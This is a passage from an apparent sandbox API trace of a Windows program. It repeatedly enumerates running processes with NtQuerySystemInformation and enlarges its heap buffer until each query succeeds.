(Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.114] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.114] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.115] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.115] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.115] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.115] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.115] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.223] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.223] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.223] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.223] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.224] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.224] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.336] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.337] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.337] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.482] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.482] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.482] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.482] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.482] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.482] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.582] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.583] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.583] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.693] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.800] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.801] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.801] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.802] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0220.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0220.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0220.912] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0220.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0220.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0220.913] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0221.020] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.020] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.020] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.020] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.020] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.021] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.021] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.021] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.021] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.021] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.021] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.135] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.136] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.136] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.136] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0221.257] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.257] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.257] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.257] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.258] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.258] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0221.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.258] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0221.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.259] RtlReAllocateHeap 